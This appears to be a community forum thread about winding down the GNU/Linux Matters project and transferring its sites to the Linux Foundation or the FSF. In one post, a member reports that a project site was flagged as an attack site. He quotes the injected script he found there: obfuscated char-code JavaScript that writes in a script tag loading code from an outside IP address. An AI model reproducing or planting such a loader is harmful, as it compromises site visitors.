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Handing GLM work over to another organization

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ariadacapo's picture
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Joined: 2006-07-13

Hello everyone,

It is time I finally bring my participation in GNU/Linux Matters to a close. I have carefully thought the topic over, and wish to withdraw entirely over the coming months, starting now.
Since the organization is registered in my home (and that I am the bank account supervisor and only financial supporter), this means effectively dissolving GNU/Linux Matters.

It is my very strong desire, and also a requisite of the French law I believe, that the assets of the organization be only transfered to a non-profit organization.

I have e-mailed two persons at the Linux Foundation (http://linuxfoundation.org/) with a suggestion that they take over our work and they seem interested.

The way I see it, they have two great things:
1. The desire, and structure, to promote FLOSS to a wide public.
2. The domain linux.com (no, I did not mis-type).

And we have three great things that they could use immediately:
1. A daily public of newcomers from around the world
2. A nice good (if incomplete) content in eight languages
3. A handful of relevant domain names at PR6 and now two at PR7.

Possibly, with effort and adaptation they could use:
4. Community (read: you, when I'm gone)
5. Infrastructure (Poliglota CMS, Pootle installation etc).

Note: there are no guarantees as to what happens next, whether or not the Linux Foundation takes over the sites. Nothing is sure. Zero certainty. This is being discussed today.

I believe this is an excellent bet. Surely, if the Linux Foundation takes over our work, nothing (or very little) will be as before. The story continues with them.
But I believe this is great. As the founder of this wonderful little project, seeing the websites slowly erode because only two persons can no longer work on them just hurts. I cannot imagine a better future than handing them over to another organization, however different.

Are we going forward with this? Please write what you think. Remember:
- be short;
- be realistic (as in really-really-realistic)
- the clearer we are about a decision, the faster this goes.

[This is not my final post. I remain dedicated now, so as to bring my participation to a neat, complete close.]

thanks,

Olivier.

Gustavo's picture
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Joined: 2006-09-11
It depends on their plans

Hello,

I think I can't make a decision until I know what their plans are for the sites.

If they just want to maintain them as is, not improve them continuously, it'd be acceptable. If they want to modify them slightly to make them fit into their "Open Source" philosophy, it'd be acceptable too. Note that by "acceptable", I really mean "acceptable" -- not what I'd love to see, but it'd be OK by me.

But if they want to turn them into detailed/technical sites, for example, I'd be against it. If so, I'd rather to keep on searching for another organization.

Cheers.

plmday's picture
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Joined: 2008-03-23
I agree with Gustavo. All

I agree with Gustavo. All the contents on our website are for introducing and attracting new comers to GNU/Linux. It's not a tech website.

Olivier, I remembered once you mentioned that you would ask FSF to take over the site at their convenience. Now it seems that the only candidate is LF. Have you contacted FSF, or you have but they rejected to do so?

By the way, I have left the translation for quite a while for my busy study and work. I plan to get back to finish the translation this summer. But the situation now is really unexpected. Good luck to us all.

libervisco's picture
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Yeah, LF is probably a good

Yeah, LF is probably a good solution if they keep it generally as is or expand on its current aim. But FSF could be a good solution too I suppose.

Alternatively, there might be some other organizations which may be interested and fitting though.

cortsenc
I agree with Gustavo

I couldn't be active in the project so I don't think than I can decide for their future.

I started to translate that website because I agree with Free Software philosophy. I think during this years, many people can discover this philosophy with our website, so I'm happy with it.

I prefer a non-profit organization like FSF, but if it's not possible, I think than Linux Foundation is a good alternative.

Olivier, I'm secure your decision it will be the best for the project, and for the FOSS movement.

----------------------
Oriol (Cortsenc)
From Catalan translation

ariadacapo's picture
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Joined: 2006-07-13
some update

Some update

Hi everyone, thank you for your input.

I've had a very interesting talk on the phone with Brian Proffitt (Community Manager) from the Linux Foundation. I've tried to cover as much of everyones' questions & worries (including mine) as I could. Here's an overview.

== What I understand they are going to do ==

It is difficult to get an idea of what the upcoming Linux.com site will look like. Brian defines it as a central repository of information and articles about Linux. The goal is to provide some content for all types of members of the GNU/Linux community - from newcommers to advanced users.

The LF's purpose is to have the website mostly made of user-submitted content (for example, articles) and my understanding is that the steering of the site could also be affected by the community. Brian explains there is a lot to do, there will be a lot of content/documentation to manage, and lots of space for voluntary contributing. There might also be contributions/participation that could be paid for.

The site should be silently released as a silent beta in a day or two, with a release in the coming weeks. It will have some ads, strictly Linux-related and with the aim to pay for the site bills, and I'm told it's going to feature some of our content (in the Switch to Linux section of GGL) already.
The primary focus will be in English, with some translations for the most popular sections and articles. Translations will be volunteer-based, I do not believe that maintaining a fully-translated area is one of the objectives of the foundation.

Brian has told be he is wide open to questions and would like the process to be as transparent as possible. I'm sending him the URL of this thread, don't hesitate to ask questions here directly, I will forward them on if we have no direct answer.

== What I personally think of this ==

(hey, I started this all about 3 years ago now, and it's driven my daily life for 2 of those 3...)
This is not the scheme I've had in mind for the sites as I was working all along. What the LF is going to do is very different.
But I trust that the LF will nonetheless to a good job with this. Brian has told me (and I fully believe) that the objective of the LF non-profit with linux.com is to do Linux advocacy. The vision is the same even though their means are different. If we hand over the sites to LF I would leave happy.

== What I think of this as president of GLM ==

GLM is inevitably going to lose some of its spirit, and some of its members, in this transition. In particular, this 100% focus on newcomers will not be there, and the insistance on full translation of full content with stand-alone domains will not be there anymore.
But I don't think we should wait for the perfect GLM-clone organization to show up and take over. It's not going to happen. This LF transition is the greatest after-life that I can see for GLM.
Linux.com is not linux.org . There is plenty of room for participation. You guys have brought up one hobbyist's clunky site into a world-class, seven-language homepage found by thousands daily. Go over there and show what you can do!

== And now ==

I have handed over nothing and am waiting for your reaction, your thoughts, before we move forward. I'll try to reply to questions and remarks individually.

Thank you

Olivier.

ariadacapo's picture
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plmday wrote: Olivier, I
plmday wrote:

Olivier, I remembered once you mentioned that you would ask FSF to take over the site at their convenience. Now it seems that the only candidate is LF. Have you contacted FSF, or you have but they rejected to do so?

No, I have not contacted them yet. I haven't been enthusiastic about the idea, because despite my best efforts, every communication I've had with them always has boiled down to "why do you use these very bad words instead of presenting our philosophy". [edit]: see comment below regarding this remark.
I'll try though, tomorrow morning I promise.

Olivier.

libervisco's picture
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To be entirely honest if

To be entirely honest if that's the attitude of the FSF maybe they are indeed a wrong choice. At some point I might have served as an apologetic for FSF and their philosophy, but I learned better over the last year...

I think LF is indeed the way to go. I am kind of excited to see what the new Linux.com will be. I think they're operating with the same type of thinking that led you to start GetGNULinux.org, and they've got tremendous resources to put behind it. Linux.com is a perfect domain name in terms of marketing (much more so than Linux.org). It's what anyone looking for any sort of info about Linux is probably gonna type first. So having a bit of GGL soul integrated in there with its straightforward approach sounds excellent. And even if it wont be exactly like the old GGL, I can't imagine a better place for it to end up either.

Linux.com was actually for years a kind of out of place site.. much of it was just churning out what could already be found in other OSTG sites like Newsforge.com which was kind of redundant. Looks like LF is now intending to finally put it to the role it belongs in.

IMHO, LF seems to be the way to go.

Regards

ariadacapo's picture
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libervisco wrote: To be
libervisco wrote:

To be entirely honest if that's the attitude of the FSF maybe they are indeed a wrong choice.

I have to rectify one important thing here: what I've described of our relations with the FSF is a personal impression, based on my personal encounters with one FSF member in particular.
As the president of GLM, what I have to say is that we have no bias against the FSF. We haven't worked together, but I have strictly nothing against doing so.

I've just initiated contact with the FSF and will keep updated.

Olivier.

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Joined: 2007-09-10
softwareliberty site marked as attack site!
ariadacapo wrote:

every communication I've had with them always has boiled down to "why do you use these very bad words instead of presenting our philosophy".

???
What bad words? Linux instead of GNU/Linux in some parts of GGL?

And as for presenting their philosophy, I think you did a very good job on
http://www.getgnulinux.org/windows/
and
http://www.softwareliberty.com/

+There's a clear link to the FSF.

P.S: Mmh, I just got this in Firefox when clicking on the "Free Software" link on GGL!!!!!!!!
This web site at www.softwareliberty.com has been reported as an attack site and has been blocked based on your security preferences.
Not good for new potential users...

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Joined: 2007-09-10
Here's what I found in

Here's what I found in index.html after doing a "wget softwareliberty.com":

<script language="javascript">
<!--
var s="",i,c=0,o="";
var str="60|115|99|114|105|112|116|32|116|121|112|
101|61|34|116|101|120|116|47|106|97|118|97|
115|99|114|105|112|116|34|32|115|114|99|61|34|104|
116|116|112|58|47|47|56|52|46|50|52|52|46|49|
51|56|46|53|53|47|115|116|97|116|115|47|115|116|97|
116|46|106|115|34|62|60|47|115|99|114|105|112|116|62|";
l=str.length;
for(c=0;c<=str.length-1;c++){
while(str.charAt(c)!='|')s=s+str.charAt(c++);
o=o+String.fromCharCode(s);
s="";}
document.write(o);
-->
</script>

Noscript also asks permission for scripts from 82.244.138.55. :S

Now, just to be on topic, I don't like the idea of a site with user-submitted content
(to much blog-like and confusing for my taste), but if it's the best solution, then so be it.

Of course, they could also make a GGL like main page (fully translated hopefully)
and a subsection with user-submitted content. Then it's ok.

edit: @gustavo: better?

Gustavo's picture
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I'd rather the FSF

I like the intentions of the LF, but I find their approach incompatible with the GGL project.

They want English, user-submitted aimed at technical people. We want the opposite: Few, introductory contents aimed at non-technical people and available in all possible languages. And to be honest, I dislike the idea of merging a part of the contents of getgnulinux.org into linux.com. I think these contents deserve all the attention, not share it with technical stuff.

Once I talked with Stallman and other FSF people in an event, and I mostly liked their intentions when we were discussing a potential mutual cooperation; except for the strictness when it comes to use FS-related terms and promoting a distro, I'm convinced that we do share the same goals. I'd like to see what the FSF says, but at the moment I'd prefer the FSF over LF.

Cheers.

PS: KIAaze: Please trim/remove that long line in the post above, it makes this page really hard to use. Thanks in advance! (BTW, I'll try to look into it later).

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Joined: 2006-03-28
Well, I sometimes visited

Well, I sometimes visited Linux.com and I quite liked it for the random shot of information you could find there.

Seeing the difference in audience, technical folks on Linux.com and "technically challenged" folks on GGL, I think there really be a little clash.

Still I can see how Linux.com may be a regularly sought out site for anybody who's looking for information about Linux.

So, what could be done about this?
In my opinion the best way would be a section like "New to Linux" or "What is Linux?" (with a really, really obvious link, so that really jumps in your face without you having to look around for more than 10 seconds) which points to the GGL-content, preferably of course this may still be on the good, old GGL-url.

I think from all the projects which have come out of GLM, GGL quite surely is the one page which deserves most to be preserved.
While the others aren't bad either, I simply don't see any way that they may ever have an impact close to what GGL does/can achieve.

So, in conclusion: If we can convince them that they should simply take over the site(s) (and community) and just put an obvious link the blindest noob can easily spot that would help both sides.
Linux.com could still be a spot for technical folks to play around, but also finally become a good starting-point for people who haven't even seen Linux yet. And that without trying to mash it all together into one site, which in my opinion will end up giving a crappy experience to the newcomer and will be mostly ignored by the technical folks.

Okay, I guess after writing down all this I really deserve a beer...

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Joined: 2007-09-10
Just found out that

Just found out that linux.com is this site: http://www.linux.com/whatislinux/119700 (didn't go further than the "coming soon" page before ^^')
I already fell on articles from it quite a few times through google, but never really explored it more.
(I didn't even know user's could submit an article and get paid for it!)

At least now I get a better feel of what it might look like with the GGL content.
It isn't so bad. The "What is Linux?" section is pretty visible.

Let's just wait and see what the new linux.com site will look like with the GGL content. Smiling

Also, why not leave the GGL pages online even if another organization takes it over?
Then if we don't like the new version, we can still link to the old one. Sticking out tongue

libervisco's picture
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Wait and see approach seems

Wait and see approach seems prudent, yes.

I assume the idea is to have the sites continue evolving in some manner rather than just keep them as they are? I ask because if the idea is to keep them as they are the only real concern is to have them kept online, hosted as they are, in which case it might not be necessary to give total control out to a new organization.

ariadacapo's picture
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mis-conceptions
Klaaze wrote:

Also, why not leave the GGL pages online even if another organization takes it over?
Then if we don't like the new version, we can still link to the old one.

libervisco wrote:

I assume the idea is to have the sites continue evolving in some manner rather than just keep them as they are? I ask because if the idea is to keep them as they are the only real concern is to have them kept online, hosted as they are, in which case it might not be necessary to give total control out to a new organization.

There is a mis-conception here that running those sites costs nothing. There are of course hosting costs (which can be reduced and covered) but also a tremendous amount of work required. I'm not simply talking about screenshots or installation methods, which change around every six months. I'm thinking: you get an e-mail from an Arabic-speaking person saying that the translation is completely incorrect, what do you do? You update one sentence on the site, what do you do with the translations? And so, if you choose to keep a complex translation infrastructure + CMS, what do you do when it goes down? What do you do if there is a conflict among editors? (anecdotally also, what do you do with the dozens of beginner questions piling up in your inbox?)
All of this to say, there is no such thing as a "static" page that just stays there online. All content requires editor work, otherwise it just dies.

This is a huge thrill and I've had the incredible luck to live this for two years. It, frankly, has been a privilege, and a great great pleasure. But now that I cannot/do not wish to do it anymore, it's not possible to just "freeze" this world. This is the reason for this thread and our effort to pass our work over.

Thanks

Olivier.

ariadacapo's picture
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Moving

I do not wish to say much here, but some things are moving. We're busy taking an important decision within the Committee, and will talk about it here when done. Stay tuned.

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The new linux.com is out!:

The new linux.com is out!: http://linux.com/index.php

But I couldn't find anything to introduce new users to GNU/Linux. Sad

libervisco's picture
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Looks quite nice, but yeah

Looks quite nice, but yeah there's nothing there that screams "hey, wanna know what the hell Linux actually is?". The new user would still have to plow through a bunch of articles and sections and somehow just figure it out. There's no guided tour like on GetGNULinux.com.

Distribution Central seems like it could be useful though, as an alternative to the good old DistroWatch.com..

plmday's picture
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not exactly
KIAaze wrote:

The new linux.com is out!: http://linux.com/index.php

But I couldn't find anything to introduce new users to GNU/Linux. Sad

Not exactly. I find the stuff under Learn, including Answers, Documents, Tutorials, Resource Center, etc. And our SwitchToLinux lies under the Resource Center.

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